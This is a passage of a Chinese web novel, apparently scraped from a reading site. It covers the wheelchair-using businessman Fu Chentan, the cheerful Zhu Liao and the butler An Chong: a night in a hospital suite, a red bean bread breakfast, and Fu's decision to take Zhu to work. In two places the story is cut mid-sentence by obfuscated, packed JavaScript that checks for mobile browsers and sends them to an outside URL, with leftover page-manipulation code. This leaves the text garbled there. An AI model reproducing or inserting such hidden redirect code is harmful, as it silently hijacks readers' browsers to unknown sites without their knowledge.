安崇立刻会意,不再多言,重新设置了整个套房的照明模式,柔和昏暗的光线洒落下来。 傅沉檀操控轮椅,无声而平稳地滑向套房的主卧,停在床边。 然后,他伸出手,试图像昨晚一样,把祝缭从自己身上轻轻“剥”下来,安放到那张看起来就足够舒适、专为睡眠而设计的床上去。 睡梦中的小狗立刻发出了不满的、含糊的呜咽抗议,手脚并用地缠上来,坚决不肯离开这个好人类兼安全窝。他甚至闭着眼睛,只是迷迷糊糊地凭鼻尖胡乱蹭了几下,就精准地找到了傅沉檀的颈窝,把脸埋进去,用力蹭了蹭,发出满足安心的舒服叹息。 傅沉檀:“……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096623|195641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他沉默地和这只睡着了也战斗力不减的牛轧糖小狗对峙了几秒。 他放弃了。 傅沉檀试图拾起一条软绵绵的胳膊,随即获得了更软、更沉、更完美融化在身上的一整团,他维持着那个姿势,一动不动地低头看了几秒,几不可闻地、微吸了一口气,又缓缓吐出。 傅沉檀操控轮椅,将靠背重新调整到了一个适合半躺休憩的姿势,让怀里蜷缩的小狗能睡得更舒服些。 祝缭睡得又香又甜,毛绒绒的浅金色脑袋刚好枕在他的肩头,整个人毫无缝隙地融化镶嵌在了他的怀里。 安崇在角落里无声地注视着这一切,适时走上前,送上了一条羊绒薄毯。 傅沉檀揽着祝缭,单手拉过薄毯,盖在少年紧紧贴着他的身体上,然后一点一点,掖好肩膀下的边角,抚平皱褶,让薄毯妥帖地裹住祝缭,只露出一个毛绒绒的脑袋。 薄毯宽大柔软,垂落下来,连他自己也一起松松地盖住,形成了一个共享的、温暖的小空间。 做完这一切,他才向后靠去,闭上了眼睛。 他的右手依旧稳稳地环在祝缭背后,是个像庇护、又像是禁锢的姿势。 安崇屏着呼吸,轻手轻脚地退到套房门口,手已经搭上了门把手,却听见身后传来先生的声音,在寂静卧室里显得格外清晰: “体检报告。” 安崇立刻停下脚步,转身,垂手而立,静待下文。 傅沉檀依旧闭着眼睛,胸膛随着怀里少年的呼吸微微起伏,似乎是睡着了。但安崇知道,先生这些年来,从来没有过真正无意识的时刻。 果然,在短暂的、令人屏息的沉默后,傅沉檀继续说下去,声音清醒,平稳无波:“……明天送我看。专家会诊的时间定下来后,第一时间发给我,我会线上参与。” 安崇垂头:“是,先生。” 又是一段短暂的、仿佛连空气也放缓流动的沉默停顿。 安崇略有迟疑,但基于职责,还是用最专业、最不带个人倾向的语气,低声请示:“先生,昨天您吩咐的,S大附近的那处房产……还需要继续推进吗?” 傅沉檀:“……” 他没有立刻回答。 安崇看见,薄毯之下,先生揽着祝缭的那条手臂,不易觉察地、极其细微地收紧了一分,仿佛某种无声地抵抗。 但很快,那只手又恢复了原本的力道,变回了那种既提供支撑、又不过分禁锢的平稳姿态。 接着,傅沉檀的声音才再次响起,语调已经恢复了惯常的、近乎冷酷的理智与漠然平静。 “买。” “按原计划推进。” 傅沉檀顿了顿,像是在对安崇解释这个决定,又像是为了说服自己,对抗脑海中某个试图争辩的微弱声音。 他清晰、客观,条理清晰地陈述理由:“今天发生的是意外,他挨欺负了。” 挨欺负了,就该解决欺负的人。 傅沉檀的逻辑简单明确:查清那个“徐序”的所有底细,背景、动机,和祝缭过往互动的所有细节、对祝缭在生理、心理上造成的实际影响,以及这次“欺负”的确切性质。 根据祝缭对他的真实态度,决定是把人弄出国,弄出本市,还是仅在可控范围内隔离、不允打扰。 这些都是明天以后的事。 “我今晚留下。”傅沉檀的用词很精准,甚至透出某种公事公办、就事论事的距离感,“陪他,纾解他的紧张情绪。让他从今晚的应激状态尽快恢复,睡个好觉……这有助于他身体的稳定。” ——那句“喜欢的”,也仅仅是出于这种目的。 仅此而已。 至于傅沉檀,他让安崇安排好了另一辆备用车和司机,等祝缭睡醒,状态稳定,傅沉檀明天一早就走。 傅沉檀还有很多事要做。 明天一早,傅沉檀就必须离开,处理今晚堆积的工作,不能一直留在这个疗养套房陪小孩玩——祝缭应当在这里多住几天,调养好身体,然后被送去一幢临近学校、舒适方便的公寓。 祝缭应当回去上学,回到这个年纪本该所处的、单纯快乐的环境去。有至少相对健康的身体,很多朋友。 傅沉檀像是忽然想起了什么,交代安崇,把祝缭的成绩单和作品集也整理一份给他。 还有食谱。 祝缭对零食的热情,已经填满了他那本来就不算太大、吸收功能也欠佳的胃口。要把这具先天不足的身体调理好,光是治病远远不够,还需要健康的作息、合理的膳食。 “从明天起给他吃健康的东西,按照营养师的食谱,水果,新鲜蔬菜,优质蛋白。” “等他睡醒……状态稳定。” 傅沉檀低头,视线落在胸口那颗毛绒绒的、无忧无虑的浅金色脑袋上。 他重复了一遍,像是在进一步加固这个决定,又像是在对自己下最后的通牒:“明早就走。” 安崇微微躬身:“是,先生,我明白了。” …… 第二天早上。 负责筛选S大附近顶级公寓的安管家早早出门,亲自奔波,考察了十几处备选房产。在高效地看完又一处尚可的精装修大平层之后,他第五次习惯性地低头,查看手机,等待来自先生的消息。 上午九点。 手机屏幕安静。 上午十点。 依然没有新消息。 上午十一点…… 安崇的眉头蹙起,先生这些年来,一直自律得近乎苛刻,即使遭遇重大变故,身体不便,生活起居也向来坚持最大程度的自理,极少有晚起的情况。 而祝缭少爷……虽然众所周知的贪睡,而且擅长赖床,而且会在被叫起的时候,哼哼唧唧、迷迷糊糊地耍赖,但先生……昨晚那样冷静自持,条理清晰,将一切安排地明明白白。 难道会被打动吗? 难道会被祝缭少爷抱着胳膊…… 安管家迅速驱散了脑海里的坏想法。 安崇看了一眼时间,又耐心等待了十五分钟——在他开始考虑,是否需要以“送早餐”或者“汇报房产情况”的名义,进行最低限度的试探性打扰的时候……手机屏幕忽然亮了一下。 一条来自先生的新短信。 【要红豆面包。】 安崇:“……” 10. 胃口不好??? 红豆面包。 含油、含糖,富含精致碳水的典型点心代表。 营养成分相对单一,热量不低。 缺乏足够的膳食纤维与优质蛋白,不含任何新鲜水果或蔬菜成分,基本上不可能属于任何营养师为一位急需系统调理体质的青少年推荐的食品清单。 不符合昨天晚上,先生亲口下达、清晰明确、毋庸置疑的,“从明天起给他吃健康的东西”的冷酷而理性的命令。 ……合格的管家不该在这种时候多嘴提醒这一点。 安崇沉默了几秒钟,低下头,敲击屏幕回复,稳妥精准,一如既往的可靠:【是,先生。请问对甜度、馅料有无具体要求?大约需要准备几人份?】 几乎就在信息显示“发送成功”的下一秒,安崇的手机又轻微地震动了一下。 【一人。甜的。软的。现在。】 安崇:【明白,立即去办。】 他收起手机,对旁边陪同考察、满脸殷切的中介经理微微颔首,语气平稳无波:“抱歉,有些突发紧急事务需要立即处理。剩下几处房源过后会有人看。” “没问题!安先生您太客气了!您的事情要紧!”中介经理连忙躬身,脸上笑容不变,语气更加热切,“您先忙!剩下的几套顶级房源我都给您留着,随时恭候!有什么具体要求尽管随时吩咐……” 安崇颔首,不再多浪费时间,迅速选定了一家高级手工烘焙坊,将需求发过去,附上三倍于市价的加急费。 他迈着平稳而迅速的步伐,离开了这间刚刚考察完毕、地段和装修都尚可,但因为楼层过高,电梯升降过快、失重与超重感过于明显,可能让祝缭少爷有轻微不适的大平层样板间。 …… 二十分钟后。 安崇带着新鲜出炉、还散发着温热香甜气息的红豆面包,回到了医院顶层的套房。 经验丰富的安管家站在厚重的实木门外,先是侧耳倾听了一瞬——门内很安静,没有任何异常的声响。 然后,他谨慎地、不轻不重地在门板上叩了三声,在确认清晰听到了先生那声低沉平静、听不出情绪的“进”之后,才轻轻旋动把手,推开了门。 ……套房内的情形和安管家做了一路的心理建设相去甚远。 先生在工作。 傅沉檀的轮椅已经恢复成了标准形态,停在客厅宽大的落地窗边。 他靠在轮椅里,膝上放着一台轻薄的笔记本电脑,浅蓝色,背面……贴满了相当幼稚、花花绿绿的小狗贴纸。 有机灵勇敢的边牧,友好热情的金毛,威风凛凛的帅气德牧,脾气超好的棉花糖萨摩耶……甚至还有几只圆滚滚腿超短的柯基屁股。 安崇一眼就认出这是祝缭少爷的电脑。 在别墅的那几天,祝缭每天抱着它,高强度用它玩4399小游戏,植物大战僵尸、黄金矿工、贪吃蛇大作战……屏幕亮度总是调得很高,在昏暗的房间里像个荧光蘑菇,游戏音效却很轻微。 少年拉着遮光窗帘,盘腿坐在卧室最角落的地毯上,一玩就能专注地消磨掉大半个下午的时光。 诚然,作为一台电脑,只要能够联网,其基础办公效能并不受外观贴纸的幼稚程度,以及过往的使用习惯影响。 傅沉檀微微垂着眼,视线落在屏幕上复杂的K线图、密密麻麻的数据报表上,手指在键盘上快速敲击,神情专注,眉宇间带着处理公事时特有的、令人不敢打扰甚至靠近的冷峻与疏离。 一切如常。 仿佛那个【要红豆面包】的短信是祝缭少爷趁他不注意,悄悄拿他傅沉檀的手机发出去的。 而祝缭…… 安崇的视线稍微移向一旁,那张被特地搬过来的,铺了厚厚柔软坐垫的黑胡桃木矮脚马安凳上。 祝缭少爷就在先生的身边。 少年盘着腿,浅金色的头发被阳光照得毛绒绒的,几缕不听话的发丝柔软地乱翘着,脸上透出睡饱后的浅淡血色,不再是前几日那种病态的苍白。 祝缭洗漱过了,穿着干净的、熨帖的蓝白条纹病号服,抱着一个相当柔软的大号抱枕,面前摊着一大堆五颜六色、亮晶晶的珠子和丝线。 他正轻轻蹙着眉头,脸颊因为专注而稍微鼓起,专心致志、毫不气馁地试图把那根有点劈叉的金线穿进一颗特别小的青金石珠子里。 他坐得离傅沉檀极近,胳膊几乎完全贴着轮椅的金属轮毂,另一条腿曲起的膝盖,也无意识地、随着他的动作,轻轻地碰着傅沉檀的小腿和脚踝,像一株不自觉本能向着大树主干依偎过去、汲取温暖与安定感的小植物。 听见门口轻微的响动,祝缭立刻从和那颗淘气珠子的“艰苦搏斗”里抬头。 看到是安崇,那双深栗色的眼睛瞬间亮了起来。祝缭立刻直起身,脸上绽放出一个毫无阴霾、灿烂到晃眼的笑容,朝着门口挥手:“安叔!早安!” 他的快乐如此直白,像是扑面而来的金灿灿阳光,瞬间驱散了房间里所有可能存有的窒闷与冷硬气氛。 让刚刚进门、心中还萦绕着“是否要顺势补充一杯无糖新鲜果蔬汁以平衡膳食”这一严肃命题的安崇,在那几十年修炼成的、刻板专业的管家面具之下,也不自觉露出了些许温和放柔的语气:“早安,祝缭少爷。” 无糖果蔬汁还是下次吧。 随即,安崇就收敛了那细微的表情变化,转向正敲击键盘、仿佛完全沉浸在工作状态之中的傅沉檀,恭敬地微微俯身:“先生,您要的东西。” 键盘声隔了几秒,才不紧不慢地停下。 傅沉檀的视线从电脑屏幕上移开,看了安崇一眼,又扫过他手中那个印着简洁Logo、正源源不断散发着甜香气的精致纸袋,点了下头:“嗯。” 安崇以为,以先生一贯的工作习惯,他会把手头的工作继续处理完成,然后才会理会“早餐”这件事。 但出乎他意料的是,傅沉檀在发出那声“嗯”之后,几乎没有更多的迟疑,保存了文档的进度,然后就合上了那台贴满幼稚小狗贴纸的笔记本电脑。 宽大的掌心拂过背面那些幼稚图案的贴纸,仿佛没有察觉,放在一旁。 整个过程里,祝缭就安静地、乖乖坐在旁边的矮脚马鞍凳上,下巴轻轻抵着胳膊,压在蓬松柔软的抱枕顶端。 那双圆溜溜的、柔软的深栗色眼睛,始终随着傅沉檀的动作而专注地轻轻转动,充满了全然的信赖、好奇,以及一种“我在乖乖等哦”的耐心。 傅沉檀说:“去餐厅。” 他操控轮椅,转向套房内开放式餐厅的方向。 祝缭才像得到了明确的指令,也立刻丢下怀里的抱枕,把好不容易穿进去一点点的小珠子和金线小心翼翼捧到小盒子里放好,飞快跟着站起来。 大概是因为盘腿坐了太久,腿部血液循环不畅,祝缭刚站起来,脚下就毫无征兆地一软,小小地趔趄了一下。 傅沉檀明明正操控轮椅转向,并没看他的方向,但就在祝缭身形微晃的同一瞬间,那只缠着绷带、骨节分明的大手,已经仿佛预判般地及时伸了过来,比站在几步外的安崇反应更快。 傅沉檀轻轻扶着少年单薄的后背。 等祝缭完全站稳,脸上掠过一丝恍然和“啊呀不小心差点摔倒被发现了”的细微表情时,他才神色如常地收回手。 傅沉檀看了一眼不远处,被祝缭随意踢在那里、一只正一只反的拖鞋。 祝缭顺着他的目光看过去,轻轻眨了下眼睛,立刻明白了。他有点不好意思地跑去,穿上了那双软乎乎的毛绒拖鞋,又立刻踢踢踏踏跑回已经操控轮椅向餐厅滑去、但速度明显放慢在等他的傅沉檀的轮椅旁边。 紧紧地、亦步亦趋地跟着。 就像一只被成功召唤的、欢快又听话,生怕跟丢了的毛绒绒小尾巴。 安崇无声地跟在后面,打开面包纸袋,刚出炉不久的面包还微微冒着热气,烤制得诱人酥软,点缀着蜜豆,被仔细放在了一个干净的骨瓷碟子里,旁边还配上了精致的银质小餐刀和餐叉。 傅沉檀在餐桌旁停下,目光落在那个面包上,停留了大约一秒。 然后,他的视线转向已经洗好了手、自动自发在一把高背餐椅上坐好,眼睛亮晶晶盯着他等开饭的祝缭。 傅沉檀言简意赅:“吃早饭。” 祝缭立刻开心地、响亮地“嗯!”了一声,对着红豆面包享受地深深吸了一大口香甜的气息,脸上露出极度满足的、像小动物终于找到了心心念念的宝藏般的,幸福到快要融化的表情。 然后,他并没有立刻开吃,看了看傅沉檀面前空荡荡、只摆放着一杯清水的桌面,又看看侍立在一旁的安崇,眨了眨眼睛,很认真地、带着点关心地小声询问:“傅沉檀,你吃什么呀?” 接着,他又努力拧身,趴在椅背上,转向安崇:“安叔,你吃早饭了吗?” 安崇微微欠身,用一贯平稳无波、听不出任何个人情绪的语调回答:“谢谢少爷关心,我用过了。” 他顿了顿,看了一眼傅沉檀没什么表情的侧脸,继续补充,“先生……通常没有用早餐的习惯。” 事实上,傅沉檀也没有用午餐、晚餐的习惯。 他通常服用营养师精确计算配比的各类必需维生素、蛋白粉、矿物质补剂,在有必要时吃三明治或是某些水煮即可的食物。他并没有进食障碍,这样做只是为了方便,毕竟双腿无法自主行动,任何复杂的、可能导致不必要的麻烦的繁琐需求,都不如被直接优化掉。 祝缭“哦”了一声,似懂非懂地点点头,低下头,视线落回自己面前盘子里香喷喷、热乎乎,个头超大,看起来就让人充满幸福感的红豆面包上。 他不太能理解“没有吃早饭习惯”这种奇怪的事,不吃早饭,不会饿吗?小狗可是每天都很珍惜、很期待吃饭时间的! 但祝缭直觉感到傅沉檀大概不会想说,所以就懂事地没有再多问。 他重新将注意力放回他的红豆面包上,轻轻戳了戳,用双手捧起那个几乎有他脸大的面包,小口小口、珍惜地吃起来。刚咬了一口,眼睛就“叮”地亮起。 红豆面包超好吃! 面包体咬起来又软又带着恰到好处的劲道,表皮有微微的焦甜香,咬下的时候脆得碎裂,吸气都是纯粹的麦香。 红豆馅甜蜜得恰到好处,保留了豆子天然的香气,还能吃到一颗颗饱满软糯的红豆颗粒……幸福的味道在味蕾上炸开! 数据海深处,焦头烂额修BUG暴躁挠墙的系统,突然收到了来自宿主第一次触发的、前所未有的紧急意识呼叫。 还以为是那个姓徐的又弄出了什么幺蛾子、或者傅沉檀那99.3%终于突破了临界点、彻底爆发了,系统当即十万火急、杀气腾腾地沿着意识通道咻地一声杀将过来:「宿主!怎么了?!出什么事了,那个姓徐的王八蛋又——」 话音未落,就被小狗在意识里超级沉稳、充满分享精神地招呼打断了:「系统前辈!快来!这个超——好吃!」 系统:「……」 紧接着,系统就看到,正在认真享用红豆面包的祝缭,机警地、仿佛在执行什么机密任务地左右飞快瞄了一眼。 傅沉檀正端起水杯,低头喝着清水、视线落在窗外,没有看向他的方向。安叔则短暂地出门,似乎是去隔壁房间取什么工作要用的东西了。 宝贵的空挡! 祝缭飞快动手,从面包背对着傅沉檀和安崇的另一侧,悄悄动手,掰下了能被系统大快朵颐的一小块。 他小心翼翼地将那一大块面包藏在手心里,飞快地将拨到了干净的碟子边缘,只露出一条细缝,同时在意念里疯狂发射“快!趁现在!”、“就一口!超香!”的急切光波。 系统已经和那个该死的、随时可能把宿主弹出的「陪伴缺失倒计时」BUG鏖战一宿了。 那个离谱的倒计时故障怎么修都鬼打墙一样岿然不动,目前卡在了71:58:44,不论系统怎么清内存、重制参数、编写针对徐序的诅咒程序……都无法回到00:00:00。 这就意味着,至少在程序逻辑上,祝缭不能「感到寂寞」超过一分钟。 甚至这离谱的评定标准甚至还相当不确切和模糊——未必是「一个人待着」就百分百代表「感到寂寞」,就比如今天早上,被融化的棉花糖小狗黏得起床失败三次、终于在上午十点五十九分,靠超绝腰腹力量硬生生扛着人形挂件坐起来了的傅沉檀。 傅沉檀让祝缭在客厅等候,关上主卧的门,自行洗漱、更换衣物,这个过程,时间就显然超过了一分钟。 但这就完全没关系。 小狗睡得又软又暖和,抱着膝盖,坐在门边乖乖地等,轻轻抠着门框,小声地、一遍遍地,带着无限憧憬和期待地嘟囔着他的早餐愿望:“想要红豆面包……红豆面包……” 然后就真的在不久后,获得了热气腾腾、香甜无比,完美符合他一切想象的超大个红豆面包。 ……可那也不行啊! 等傅沉檀今天真的按照昨晚那“理智”的计划走了怎么办?? 这BUG不修好,难道宿主只能轻轻吸着鼻子,超委屈、眼睛湿漉漉地看着傅沉檀离开,然后一分钟内就立刻打开电脑聊天室里出现,和那个一直戳他上线玩游戏的、长得挺帅还会做饭、会花式调酒,带着祝缭在游戏里大杀四方的职业选手边视频边打双人本直播吗?? 虽然、好像、可能、也不是不行…… 系统愁得猛吸一口数据氧:「……好好好宿主你快吃!猛猛吃!别管我!补充体力最重要!等等这面包闻着倒是……怎么回事……有点香……」 隐身的毛绒系统球鬼鬼祟祟,最终没能抵抗住宿主那过分敏锐的嗅觉共享,化悲愤为食欲,一头扎进了祝缭掩护的面包块。 小狗大受鼓舞。 饭就是越一起吃、越分享越香的!这是颠扑不破的小狗真理。 独自快乐变成了双倍快乐! 祝缭再接再厉,又低下头,很认真地观察了一会儿,从面包红豆馅最丰富、色泽最深、香气最浓,表皮烤得最酥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096624|195641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香完美的那个部分,轻轻地、小心翼翼地掰下了完美的一角。 …… 傅沉檀正在翻阅安崇刚刚取过来的几份分公司财报。 纸质文件摊开在餐桌上,刚打印好,还有些发热,散发着特有的油墨气息。 这些报告来自几家被傅心洁当年哭闹不休、甚至以死相逼,强行要去,让傅晟那个入赘的父亲负责打理的,原本业绩尚可、颇有潜力的子公司。 他的视线落在几行数据完美得不自然、利润率增长曲线平滑到可疑的段落上,蹙了蹙眉,正要开口,手背上忽然传来细小的、微凉柔软的触感。 像小狗用湿漉漉的鼻子轻轻拱。 他动作一顿,抬起视线。 细白的手指捏着那一小块堪称“面包灵魂”的精华部分,正轻轻地、带着点试探和开心,一下一下戳他的手背。 手的主人为了能够到他的手,几乎大半个身子都探过了椅子的扶手,深栗色的眼睛睁得圆圆的,湿漉漉地望着他,里面清晰地写满了“这个最好吃了!”、“给你吃!”、“一起吃早饭!”的、纯粹到不含任何杂质的亮晶晶分享欲。 傅沉檀沉默地看着他,看了两秒,移开视线,重新落回手里的财报上。 “自己吃。” 命令简洁,声音是一贯的平静无波,听不出喜怒,不容置疑。 小狗被拒绝了。 干净利落,毫不拖泥带水。 但小狗那蓬勃的、源自天性与本能的分享欲,和“对好人类好”的坚定信念,当然不会这么简单地被打败。 祝缭没有收回手,也没有因为这样程度的拒绝就沮丧或委屈,那双湿漉漉的、像是会说话的深栗色杏仁眼睛里,甚至没有出现预料中的黯淡。 相反,他开始无声地、持续地、却又无比坚定地,发射出一种奇异的、混合了“好哦,知道了”、“你不吃也完全没关系,但我可以自己就这样举一小会儿再来问问看”、“你看它多香多漂亮”……等诸多意味的,无声无息却仿佛有实体重量,几乎能动摇最坚定意志的「小狗超可怜但坚持分享光波」。 傅沉檀:“……” 安崇去取先生的私人加密U盾,恰好走到门口,看到这一幕,及时刹住了脚步,瞬间隐身在了门外。 傅沉檀垂着视线,沉默着,岿然不动地,和那双深栗色眼睛和固执举着面包的手对峙了…… 足足三秒。 然后,他吸了口气。 放下那份关乎数百万利润的财报,取过手边的亚麻餐巾,擦拭了几次手指,拈起了那一小块被固执举到面前的面包,几乎没有咀嚼,就咽了下去。 祝缭的眼睛“唰”地亮起来,脸上也绽开巨大而满足的笑容。他开开心心地挪着屁股下面的椅子,直到紧紧地、毫无缝隙地贴在了傅沉檀的轮椅旁边,两个人的胳膊几乎挨着,才继续欢快地奋力啃起了那一大个超级红豆面包。 每一口都吃的格外香甜,格外珍惜,腮帮一鼓一鼓,全身的每一个细胞都在散发着快乐、幸福、世界美好的泡泡。 阳光透过巨大的落地窗,毫无阻碍地洒入,落在光洁的大理石岛台边。 也落在少年因为餐椅过高而自然垂落、正不自觉轻轻晃悠着的、穿着毛绒拖鞋的脚上,在地面投落下一小块微微摇曳的,柔软的、温暖的影子。 …… 早饭后,傅沉檀就该走了。 理论上是这样。 安崇看着津津有味和面包奋战的祝缭少爷,昨晚傅沉檀的计划清晰明确:等祝缭睡醒,状态稳定,天亮就走。 现在,祝缭少爷睡醒了,不仅醒了,还吃了早饭,大方地分享了他认为最好吃的部分,甚至连极限降低存在感只是路过的安崇也凭空获得了一块。 祝缭少爷看起来,精神饱满,情绪状态良好,除了似乎有点……不,是非常,极其,显而易见地黏着先生,几乎要长在那里、成为先生的轮椅上一个不可分割的毛绒绒温暖配件之外,没有任何状态不稳定的迹象。 心跳平稳,呼吸顺畅,身体没有任何不适,笑容灿烂得像个小太阳。 那么……是不是就意味着,按照计划,傅沉檀现在应该向祝缭简单说明情况,道别,操控轮椅,离开这张餐桌,离开这个套房,下楼,坐上那辆从清晨就已经等待在停车场的备用车。 返回他位于市中心摩天大楼顶层的办公室,那个冰冷、高效、岿然,不受任何感情干扰的商业帝国中心? 该离开了。 安崇垂手而立,脸上是几十年如一日的刻板平静,内心却泛起一丝极淡的、极为罕见的迟疑。 他在斟酌,先生会如何开口,而祝缭少爷……那双此刻充满了快乐与幸福的眼睛,在听到这个消息以后,又会露出怎样的神情? 是困惑?是不舍?还是……那种让人难以招架的,仿佛要被丢掉的湿漉漉的委屈…… 就在这时,他握在手中、正用于联络司机协调行程的手机,忽然极其轻微地震动了一下。 一条新短信。 安崇不动声色低头,快速扫了一眼屏幕。 发信人:【先生】 内容简短到突兀,甚至有点没头没尾:【给他找衣服换。】 安崇:“?” 他下意识抬起视线,带着些许无法理解的困惑,看向就坐在餐桌对面、手里同样拿着手机,垂眸似乎在随意浏览着屏幕上什么信息的傅沉檀。 先生明明就坐在对面,距离不超过三米,祝缭少爷也正在专心致志地舔指尖沾到的最后一抹红豆馅。 完全没有注意到这边。 有什么话,不能直接说吗? 安崇脸上完美的管家面具纹丝不动,作为管家,不需要质疑,只要执行,他微微颔首,正准备无声地退下,去为祝缭少爷准备外出的衣物。 几乎是同时,手机又震动了一下。 还是先生。 【他胃口不好。】 安崇:“……?” 他看向餐桌对面。 祝缭少爷刚刚满足咽下了最后一口面包,正惬意地、心满意足地融化在高倍餐椅里,一只手摸着肚子,深栗色的眼睛微微眯着,整个人散发着“吃饱了好幸福”、“世界真美好”的近乎陶醉的慵懒气息。 胃口不好??? 还没等安崇消化完这个过于主观的评估,第三条短信,带着某种沉静的、理智的、仿佛已经完成了某种严密逻辑推导的结论,又来了。 傅沉檀似乎打定了主意要用短信交流,语气笃定,逻辑……自成一体。 【可能是心情不好,或者没睡好。】 安崇:“……” 傅沉檀这么评定因为黏在他身边,因为吃饱而昏昏欲睡、长长的睫毛像小扇子一样轻轻扇动,无意识地用脚趾勾着毛绒拖鞋的边,一下、一下轻轻晃悠着玩的快乐小狗。 他为这个清晨的“突发情况”,做出了诊断和结论,以及一个清晰、简洁,在他逻辑里绝对行之有效的治疗方案。 【带走。他想跟我上班。】 11. 抓我 好管家不要说多余的话。 安崇颔首应是,脸上恢复了一贯的、令人安心的沉稳与专业。在先生离开餐桌去换衣服的空档,来到了那把正被祝缭踩得轻轻摇晃的高脚餐椅旁。 祝缭正微微探着身体,脚踩在椅子的横梁上,目光追随着傅沉檀离开的方向。被安叔走近,轻轻扶稳后背和胸口恢复平衡,就抿了下嘴角,仰起头。 安崇轻声解释:“先生去换衣服。” 祝缭眨了眨眼睛,乖乖地“唔”了一声,他又转回脑袋,越过安叔横在身前的手臂,探头继续去看傅沉檀。 他一直固执地维持着这个颇费力气的姿势,神情专注,直到那台轮椅滑入主卧的转角,彻底消失在视野之中。 几乎就在傅沉檀身影消失的瞬间,祝缭的状态也有了明显的变化。 那种吃饱喝足、纯粹到极点的放松快乐退潮了,一种隐约的、不易觉察的不安,像投入静水的小石子,在他周身无声地漾开了一圈圈细小的涟漪。 他几乎是下意识就想跳下椅子、追着跑过去,脚尖踩在椅子的横梁上用力一蹬,身体前倾,做出了个险些撞在安叔胳膊上的预备动作—— ……不行。 他的冲刺停住了。 像是某种突然记起的、后天被反复管教、灌输的“规则”与“道理”,不由分说强行接管,硬生生压制住了本能。 傅沉檀是去做「换衣服」这种“不能乱看”的、“需要私密空间”的事,是那些“懂事”、“有礼貌”、“不可以给人添麻烦”的复杂规则里,清晰标明的一条。 所以不能不由分说地跟进去,不能打扰,甚至不应该表现出过分的、不礼貌的关注和催促。 要懂得等待,要乖。 小狗耷拉下了脑袋,深吸一口气 他重新坐稳,乖乖地、安静地坐在椅子上,双手撑在身体两侧,低着头用力研究起了地毯上繁复精美的波斯花纹,脚尖无意识地在地毯柔软厚实的绒面上,轻轻地,反复地,一个一个画着不规则、连绵不绝的小圈。 ……这是种相当陌生的、过去从没出现过,或者说从未被无忧无虑的快乐小狗清晰感知到过的感受。 祝缭过去没有遇到过“时时刻刻”都想黏着的人。 所以生活超简单,只要空出一块,无聊了,就立刻跑出去找一个看起来友善的人玩,反正全世界都是好人,贴一贴就能变得超级开心。 祝缭依旧看着那个洒满阳光却空荡荡的角落,仿佛傅沉檀下一秒就会出现。 他在心里不自觉地、默默地数着某个不存在的细小鼓点,试图用这种方式填补突然安静下来的整整一大片空白。 小狗第一次,因为一种并非生理痛苦的情绪轻轻皱起了眉头。 他尝试着,努力地、认真地想要弄清楚,这种悄悄缠绕上来的感觉究竟是从哪里冒出来的,叫什么名字。 又该怎么做,才能像赶走不开心、或者忘掉那些不好吃的药一样,快速地驱散它呢? “……祝缭少爷?” 安崇微微躬身,以一种不会惊扰到他、平稳而不失温和的语气适时开口:“先生稍后,需要去公司处理一些工作。” 他敏锐地注意到,祝缭因为听到“去公司”、“工作”这些关键词,本来柔软温暖的身体像是被看不见的无形丝线牵扯,轻轻凝固了一下。 安崇稍微停顿了一会儿,给祝缭一点消化信息的时间,观察着祝缭的反应,然后才继续轻声征询:“您……想不想跟先生一起过去看看?” “公司那边,先生的办公室里就包含设备齐全的独立休息室,很安静,阳光也很好。您可以把笔记本电脑带过去,在那里玩游戏,或者看看书,看看电影、动画片,或者继续做您的手工。” “那里的桌子更大,光线也更好,能放得下所有线和珠子。” 他顿了顿,又继续补充更具吸引力的细节,仿佛在描述一个温馨又充满乐趣的短途出行方案:“午餐也可以在那边用,我会提前交代厨房,准备您喜欢的餐点,还有下午茶和小零食。” 安崇甚至已经在心底暗自承诺,会交代厨房不要做太难吃的、先生平时吃的那种像是在啃绿化带一样的沙拉。 至少要有一道颜色鲜亮、富含膳食纤维和不饱和脂肪酸,口感清甜的松仁玉米粒。 祝缭微微睁大了眼睛。 深栗色的柔软瞳孔过分纯净,明明有细小的、被风拂动的涟漪,安崇却无法从里面读出任何具体的内容。 安崇站在他身侧,静静等待着。 在他的预想中,按照祝缭少爷今早乃至昨晚表现出的、对先生显而易见、几乎毫不掩饰的亲近和全然的依赖,这个问题的答案几乎是毋庸置疑的。 祝缭多半会立刻开心地、眼睛发亮地点头,清脆地、用力地“嗯!”一声,然后像只快乐小鸟一样,迫不及待地从椅子上蹦下来,踢踢踏踏跑去换衣服,说不定还会兴奋地追问“安叔安叔,外面冷不冷,我要穿哪件好看?”、“公司远不远呀,楼高不高,车里可以听音乐吗?” 又或者,更符合他这几天观察到的,那种让人完全无法硬起心肠拒绝,软乎乎、超可怜的“小蛋糕”模式,试图撒娇让先生“晚点再去”、“再待一小会儿好不好”、“工作很累的休息一下嘛”…… 然后就会得偿所愿,继续心满意足地舒服融化在先生的轮椅上,把先生“上班”的地点无限期、顺理成章地转移到这间充满阳光和面包香的疗养套房。 …… 但,都没有。 祝缭只是轻轻地恍惚了一小下,然后“唔”了一声,像是真的在认真思考这个建议的可行性。 然后,他没有立刻看向安崇,也没有再不停地数着时间、有点焦虑地轻轻摇晃,不停去看傅沉檀离开的方向。 他微微垂下眼睫,浓密的睫毛在白皙的皮肤上投下小片阴影。他的声音很轻,带着点自己也不太确定的迟疑,小声地、清晰地问:“那……安叔。” “我能出去玩吗?” 